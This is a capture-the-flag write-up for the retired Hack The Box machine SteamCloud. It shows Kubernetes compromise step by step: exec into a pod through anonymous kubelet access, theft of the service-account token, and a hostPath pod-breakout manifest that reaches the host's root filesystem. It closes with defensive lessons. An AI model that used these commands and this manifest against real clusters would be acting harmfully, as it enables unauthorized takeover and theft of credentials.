Box Info
Attribute | Details |
---|---|
Level | Easy |
OS | Linux |
Box URL | https://app.hackthebox.com/machines/443 |
Box Status | Retired |
About Box | SteamCloud is an easy difficulty machine. The port scan reveals that it has a bunch of Kubernetes-specific ports open. We can not enumerate the Kubernetes API because it requires authentication. Now, as Kubelet allows anonymous access, we can extract a list of all the pods from the K8S cluster by enumerating the Kubelet service. Furthermore, we can get into one of the pods and obtain the keys necessary to authenticate to the Kubernetes API. We can now create and spawn a malicious pod and then use Kubectl to run commands within the pod to read the root flag. |
Footprinting
Nmap - basic
Let’s start with scanning the machine IP with nmap to check what are the services are running on different ports!
nmap -p 22,2379,2380,8443,10249,10250,10256 --min-rate 10000 $ip -oN 1.basic.nmap.txt
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-02 21:45 +0530
Nmap scan report for 10.10.11.133
Host is up (0.25s latency).
PORT STATE SERVICE
22/tcp open ssh
2379/tcp open etcd-client
2380/tcp open etcd-server
8443/tcp open https-alt
10249/tcp open unknown
10250/tcp open unknown
10256/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 1.26 seconds
Nmap - detailed
nmap -sCV -p 22,2379,2380,8443,10249,10250,10256 $ip -oN 3.detailed.nmap.txt
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-02 21:55 +0530
Nmap scan report for 10.10.11.133
Host is up (0.31s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 fc:fb:90:ee:7c:73:a1:d4:bf:87:f8:71:e8:44:c6:3c (RSA)
| 256 46:83:2b:1b:01:db:71:64:6a:3e:27:cb:53:6f:81:a1 (ECDSA)
|_ 256 1d:8d:d3:41:f3:ff:a4:37:e8:ac:78:08:89:c2:e3:c5 (ED25519)
2379/tcp open ssl/etcd-client?
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2025-10-02T16:08:35
|_Not valid after: 2026-10-02T16:08:35
| tls-alpn:
|_ h2
|_ssl-date: TLS randomness does not represent time
2380/tcp open ssl/etcd-server?
| tls-alpn:
|_ h2
| ssl-cert: Subject: commonName=steamcloud
| Subject Alternative Name: DNS:localhost, DNS:steamcloud, IP Address:10.10.11.133, IP Address:127.0.0.1, IP Address:0:0:0:0:0:0:0:1
| Not valid before: 2025-10-02T16:08:35
|_Not valid after: 2026-10-02T16:08:36
|_ssl-date: TLS randomness does not represent time
8443/tcp open ssl/http Golang net/http server
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 13ad7bea-1258-4ffc-acfb-b23dc09805f8
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a3edd6fe-f160-49eb-b643-43995ee5e2cd
| X-Kubernetes-Pf-Prioritylevel-Uid: 58017c5b-6bc1-45f4-98b3-a983bf2538f2
| Date: Thu, 02 Oct 2025 16:25:32 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GenericLines, Help, RTSPRequest, SSLSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 6a334c86-3068-4f26-8887-5adf56610e19
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a3edd6fe-f160-49eb-b643-43995ee5e2cd
| X-Kubernetes-Pf-Prioritylevel-Uid: 58017c5b-6bc1-45f4-98b3-a983bf2538f2
| Date: Thu, 02 Oct 2025 16:25:29 GMT
| Content-Length: 185
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:10.10.11.133, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2025-10-01T16:08:33
|_Not valid after: 2028-10-01T16:08:33
|_http-title: Site doesn't have a title (application/json).
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
10249/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=steamcloud@1759421317
| Subject Alternative Name: DNS:steamcloud
| Not valid before: 2025-10-02T15:08:37
|_Not valid after: 2026-10-02T15:08:37
| tls-alpn:
| h2
|_ http/1.1
|_ssl-date: TLS randomness does not represent time
10256/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
- Found open ports: 22 (SSH), 2379 (etcd), 2380 (etcd), 8443 (http), 10249 (kubelet), 10250 (kubelet), 10256 (http)
- The web application running on port 8443 is showing 403 Forbidden with the message “User ‘system: anonymous’ cannot get path ‘/’”
- Identified multiple subject alternative names related to Kubernetes.
Subject Alternative Name:
DNS:minikubeCA,
DNS:control-plane.minikube.internal,
DNS:kubernetes.default.svc.cluster.local,
DNS:kubernetes.default.svc,
DNS:kubernetes.default,
DNS:kubernetes,
DNS:localhost,
IP Address:10.10.11.133,
IP Address:10.96.0.1,
IP Address:127.0.0.1,
IP Address:10.0.0.1
Let’s add steamcloud host to our /etc/hosts file:
echo "10.10.11.133 steamcloud.htb" | sudo tee -a /etc/hosts
Enumeration
SSH 22
We tried the same for SSH by attempting an anonymous login, but it was unsuccessful.
ssh anonymous@steamcloud.htb
The authenticity of host 'steamcloud.htb (10.10.11.133)' can't be established.
ED25519 key fingerprint is SHA256:/BfbWBuZ6K3xx1f7py/c7eMZ1Wedb7sKF5yhMHNXHZ4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'steamcloud.htb' (ED25519) to the list of known hosts.
anonymous@steamcloud.htb's password:
Permission denied, please try again.
Port 8443
Response Headers:
curl -ik https://steamcloud.htb:8443/
HTTP/2 403
audit-id: 852abb91-1bd8-400d-8616-1c7511c78885
cache-control: no-cache, private
content-type: application/json
x-content-type-options: nosniff
x-kubernetes-pf-flowschema-uid: a3edd6fe-f160-49eb-b643-43995ee5e2cd
x-kubernetes-pf-prioritylevel-uid: 58017c5b-6bc1-45f4-98b3-a983bf2538f2
content-length: 233
date: Thu, 02 Oct 2025 16:34:49 GMT
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",
"reason": "Forbidden",
"details": {
},
"code": 403
}
Based on the response headers, it was observed that the application is running on Kubernetes. It was giving a 403 Forbidden, which indicates the Kubernetes API server is rejecting the request because system:anonymous
does not have permission to access that path.
> kubectl --server https://10.10.11.133:8443 get pods
Unable to connect to the server: tls: failed to verify certificate: x509: certificate signed by unknown authority
I tried to access port 8443 using kubectl, but it was asking for a valid username and password, which I couldn’t brute-force.
Kubernetes Ports
Protocol | Direction | Port Range | Purpose | Used By |
---|---|---|---|---|
TCP | Inbound | 6443 | Kubernetes API server | All |
TCP | Inbound | 2379-2380 | etcd server client API | kube-apiserver, etcd |
TCP | Inbound | 10250 | Kubelet API | Self, Control plane |
TCP | Inbound | 10259 | kube-scheduler | Self |
TCP | Inbound | 10257 | kube-controller-manager | Self |
Reference: https://kubernetes.io/docs/reference/networking/ports-and-protocols/#control-plane
Port 10250
Port 10250 on the kubelet is used by the kube-apiserver for exec and logs.
I came across this gist repo about “Accessing the kubelet-api” by lizrice. First, I tried to list pods using a simple GET request to check whether listing pods as anonymous-auth
was possible.
curl -sk https://10.10.11.133:10250/pods/
- If
--anonymous-auth
is turned off, you will see a401 Unauthorized
response. - If
--anonymous-auth
istrue
and--authorization-mode
isWebhook
you’ll see403 Forbidden
response with messageForbidden (user=system:anonymous, verb=get, resource=nodes, subresource=proxy)
- If
--anonymous-auth
istrue
and--authorization-mode
isAlwaysAllow
you’ll see a list of pods.
We got the proper 200 OK response which means that --anonymous-auth
is true and --authorization-mode
is AlwaysAllow.
Response:
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"etcd-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-steamcloud","uid":"967b9bee71f2e3cec06ff1dbde2a2a19","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubeadm.kubernetes.io/etcd.advertise-client-urls":"https://10.10.11.133:2379","kubernetes.io/config.hash":"967b9bee71f2e3cec06ff1dbde2a2a19","kubernetes.io/config.seen":"2025-10-02T12:08:51.371667834-04:00","kubernetes.io/config.source":"file"}}
We found the article by cyberark about kubelet client attack which shows how to use the different api endpoints manually to list pods or run the commands insides the container. While using this command one by one to find the token and go though the multiple directories it will be complicated and time consuming at the same time.
Kubelet API endpoints to perform the multiple task:
Kubelet API | Examples for use | Description |
---|---|---|
/pods | GET /pods |
List the pods in the kubelet’s worker |
/run | POST /run/<podNamespace>/<podID>/<containerName> POST /run/<podNamespace>/<podID>/<uid>/<containerName> Body: <command> |
Run command in a container |
/exec | GET /exec/<podNamespace>/<podID>/<containerName>?command=<command> POST /exec/<podNamespace>/<podID>/<containerName>?command=<command> GET /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command> POST /exec/<podNamespace>/<podID>/<uid>/<containerName>?command=<command> |
Run command using a stream in a container |
/configz | GET /configz |
Kubelet’s configuration file settings |
/debug | GET /debug/flags/v PUT /debug/flags/v (body: <integer>) GET /debug/pprof/<profile> |
Debug information |
Kubeletctl
The above mentioned blog also mentions about the tool called kubeletctl which can be used to make command execution and pods listing process easy. If you are using mac to solve this problem you might face issue while installing and using the tool. It’s recommended to use the docker image which can be easiest way to install and run the tool without facing any architecture or dependency related issue.
List the running pods using below mentioned command and it will give the proper table format output.
/ $ kubeletctl pods --server 10.10.11.133
┌────────────────────────────────────────────────────────────────────────────────┐
│ Pods from Kubelet │
├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤
│ │ POD │ NAMESPACE │ CONTAINERS │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 1 │ coredns-78fcd69978-l4jd5 │ kube-system │ coredns │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 2 │ nginx │ default │ nginx │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 3 │ etcd-steamcloud │ kube-system │ etcd │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 4 │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 5 │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 6 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 7 │ storage-provisioner │ kube-system │ storage-provisioner │
│ │ │ │ │
├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤
│ 8 │ kube-proxy-5lw7m │ kube-system │ kube-proxy │
│ │ │ │ │
└───┴────────────────────────────────────┴─────────────┴─────────────────────────┘
Scan for command execution related permission:
kubeletctl scan rce --server 10.10.11.133
┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐
│ Node with pods vulnerable to RCE │
├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤
│ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ │ │ │ │ │ RUN │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 1 │ 10.10.11.133 │ kube-scheduler-steamcloud │ kube-system │ kube-scheduler │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 2 │ │ storage-provisioner │ kube-system │ storage-provisioner │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 3 │ │ kube-proxy-5lw7m │ kube-system │ kube-proxy │ + │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 4 │ │ coredns-78fcd69978-l4jd5 │ kube-system │ coredns │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 5 │ │ nginx │ default │ nginx │ + │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 6 │ │ etcd-steamcloud │ kube-system │ etcd │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 7 │ │ kube-apiserver-steamcloud │ kube-system │ kube-apiserver │ - │
├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤
│ 8 │ │ kube-controller-manager-steamcloud │ kube-system │ kube-controller-manager │ - │
└───┴──────────────┴────────────────────────────────────┴─────────────┴─────────────────────────┴─────┘
Getting User shell
Based on kubeletctl scan rce
command, We will go ahead and attack the ngnix pod and run the whoami command and it was observed that the pod is running as the root.
/ $ kubeletctl exec "whoami" -p nginx -c nginx --server 10.10.11.133
root
Instead of passing command using the kubeletctl exec
we can simply go ahead any take a shell so we can interact with a shell properly and do further enumeration to get the user flag.
/ $ kubeletctl exec "/bin/bash" -p nginx -c nginx --server 10.10.11.133
root@nginx:/#
User Flag 🚩
We have the shell. Let’s read the user flag and move ahead for root flag.
root@nginx:~# ls
user.txt
root@nginx:~# cat user.txt
REDECTED_FLAG_VALUE
We already have the root user access but flag doesn’t exist in the /root
directory. We can check the env and mounted directory or we can run the linpeas as well.
The environment variables:
root@nginx:~# env
HOSTNAME=nginx
NJS_VERSION=1.14.2.0.2.6-1~stretch
NGINX_VERSION=1.14.2-1~stretch
KUBERNETES_PORT_443_TCP_PROTO=tcp
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
KUBERNETES_PORT=tcp://10.96.0.1:443
PWD=/root
HOME=/root
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
TERM=xterm
SHLVL=1
KUBERNETES_SERVICE_PORT=443
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_SERVICE_HOST=10.96.0.1
OLDPWD=/var/run/secrets/kubernetes.io/serviceaccount
_=/usr/bin/env
The mounted directory:
root@nginx:~# df -h
df -h
Filesystem Size Used Avail Use% Mounted on
overlay 8.9G 3.2G 5.6G 37% /
tmpfs 64M 0 64M 0% /dev
tmpfs 2.0G 0 2.0G 0% /sys/fs/cgroup
/dev/sda1 8.9G 3.2G 5.6G 37% /root
shm 64M 0 64M 0% /dev/shm
tmpfs 3.9G 12K 3.9G 1% /run/secrets/kubernetes.io/serviceaccount
tmpfs 2.0G 0 2.0G 0% /proc/acpi
tmpfs 2.0G 0 2.0G 0% /sys/firmware
root@nginx:~# cd /run/secrets/kubernetes.io/serviceaccount
cd /run/secrets/kubernetes.io/serviceaccount
root@nginx:/run/secrets/kubernetes.io/serviceaccount# ls
ca.crt namespace token
What is a Kubernetes Serviceaccount?
A ServiceAccount is an identity for processes running inside Pods. When a Pod runs, by default Kubernetes mounts credentials for a ServiceAccount into the Pod so the process can call the Kubernetes API as that identity. These credentials are how workloads authenticate to the API server.
What lives at /run/secrets/kubernetes.io/serviceaccount directory?
Inside most container images we’ll see these files:
token
- a JWT bearer token. This token lets the Pod authenticate to the API server.ca.crt
- CA certificate to validate the API server TLS certificate.namespace
- the namespace the Pod is running in.
Why this matters for privilege escalation
If an attacker can read that token
file inside a pod, they can use that token to call the Kubernetes API and act with whatever RBAC permissions the ServiceAccount has.
- Discovery: enumerate pods, namespaces, secrets, nodes, roles.
- Privilege escalation: if the service account has wide permissions, can create resources (new Pods, ClusterRoleBindings) to escalate to cluster-admin or access sensitive secrets such as cloud credentials.
- Lateral movement: read secrets, mount host filesystem, create pods with host access to extract files.
Privilege Escalation
Let’s go inside the /run/secrets/kubernetes.io/serviceaccount
and save the CA.crt and token file in local system so we can use it to check the permission this token has.
Save the token:
Save the ca.crt:
Now, Let’s use the kubectl tool which allows user to interact with the Kubernetes API and the control plane.
We tried to use this token with the server ip 10.10.11.133
with port 10250
but server send us the certificate validation related error.
Command:
kubectl --server https://10.10.11.133:10250 --certificate-authority=ca.crt --token=token get namespaces
Server Validation Error:
E1002 23:16:05.190516 35485 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: Get \"https://10.10.11.133:10250/api?timeout=32s\": tls: failed to verify certificate: x509: cannot validate certificate for 10.10.11.133 because it doesn't contain any IP SANs"
E1002 23:16:05.890616 35485 memcache.go:265] "Unhandled Error" err="couldn't get current server API group list: Get \"https://10.10.11.133:10250/api?timeout=32s\": tls: failed to verify certificate: x509: cannot validate certificate for 10.10.11.133 because it doesn't contain any IP SANs"
We have updated the port number from 10250
to 8443
. The reason is we have seen the access forbidden error. Let’s pass the token value and ca.crt file which will help server to validate the user access request.
We tried to list he pods and we are able to list the pods. From here what we can do is check what kind of permission that token and use it to get root flag.
kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token get pods
NAME READY STATUS RESTARTS AGE
nginx 1/1 Running 0 99m
User doesn’t have permission to get namespace:
kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token get namespaces
Error from server (Forbidden): namespaces is forbidden: User "system:serviceaccount:default:default" cannot list resource "namespaces" in API group "" at the cluster scope
The user has permission to check permission:
kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
pods [] [] [get create list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
List the permission table which shows user can get, create and list pods. Let’s create a pod with accessive privilege which can be use to do pod breakout.
Pod creation policy, which can be used to do Pod Breakout:
apiVersion: v1
kind: Pod
metadata:
name: breakout
namespace: default
spec:
hostNetwork: true
automountServiceAccountToken: true
containers:
- name: breakout
image: nginx:latest
volumeMounts:
- mountPath: /root
name: mount-root
volumes:
- name: mount-root
hostPath:
path: /
Use Pod creation policy to create a pod with elevated privileges:
kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token apply -f Pod-Breakout.yaml
pod/breakout created
You can also refer to the detailed blog presented bishopfox. They have discussed 8 different scenarios based on the limited pod creation permission user has. Checkout the blog it’s actually interesting one to read.
Let’s use the kubectl get pods command with the ca.crt file and token. It was observed that the pod we created is up and running. Let’s move back to the kubeletctl tool because we don’t have pod execution permission with the token we are using in the kubectl command.
kubectl --server https://10.10.11.133:8443 --certificate-authority=ca.crt --token=$token get pods
NAME READY STATUS RESTARTS AGE
breakout 1/1 Running 0 36s
nginx 1/1 Running 0 102m
Run the kubeletctl with whoami
command on the breakout pod, and we are already running as root.
kubeletctl exec "whoami" -p breakout -c breakout --server 10.10.11.133
root
Let’s take a shell
kubeletctl exec "/bin/bash" -p breakout -c breakout --server 10.10.11.133
root@steamcloud:/#
Root Flag 🚩
root@steamcloud:~/root# ls
root.txt
root@steamcloud:~/root# cat root.txt
REDECTED_FLAG_VALUE
Conclusion
Streamcloud is a compact but instructive lab that highlights how small misconfigurations in Kubernetes, like overly permissive service accounts, exposed APIs, or incorrect RBAC rules, quickly turn into full cluster compromise. The lab reinforces that Kubernetes security is a shared responsibility: developers, SREs, and security teams all need to work together to reduce blast radius.
Key Takeaways
- Always apply least privilege - avoid granting cluster-admin or wildcard verbs to serviceAccounts.
- Expose only necessary APIs - kubelet and API server endpoints should be firewall/ACL protected.
- RBAC misconfigurations are a frequent root cause - regularly review roles, roleBindings, clusterRoles, and clusterRoleBindings.
References
- https://kubernetes.io/docs/reference/networking/ports-and-protocols/#control-plane
- https://www.cyberark.com/resources/threat-research-blog/using-kubelet-client-to-attack-the-kubernetes-cluster
- https://www.covertswarm.com/post/k8s-pod-to-node-escape-techniques
- https://bishopfox.com/blog/kubernetes-pod-privilege-escalation
- https://github.com/cyberark/kubeletctl/